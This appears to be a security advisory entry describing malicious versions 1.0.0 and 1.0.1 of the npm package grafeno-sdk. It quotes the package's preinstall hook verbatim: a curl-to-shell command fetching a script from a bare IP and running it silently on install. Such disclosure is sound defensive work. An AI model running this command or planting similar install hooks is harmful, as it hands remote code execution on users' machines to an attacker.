MAL-2026-15508

    Dashboard / Malicious Package / MAL-2026-15508

    MAL-2026-15508

    Published: 28 Aug 2026Last Modified: 29 Aug 2026

    Summary: Malicious code in grafeno-sdk (npm)

    Details: Source: amazon-inspector (665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3) package.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'})`, wrapped in a try/catch that silently discards errors. On `npm install`, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.

    References: https://www.npmjs.com/package/grafeno-sdk/v/1.0.0, https://www.npmjs.com/package/grafeno-sdk/v/1.0.1

    Affected packages

    Package

    Name: grafeno-sdk

    Purl: pkg:npm/grafeno-sdk

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0
    1.0.1
    MAL-2026-15508 | CVE-DB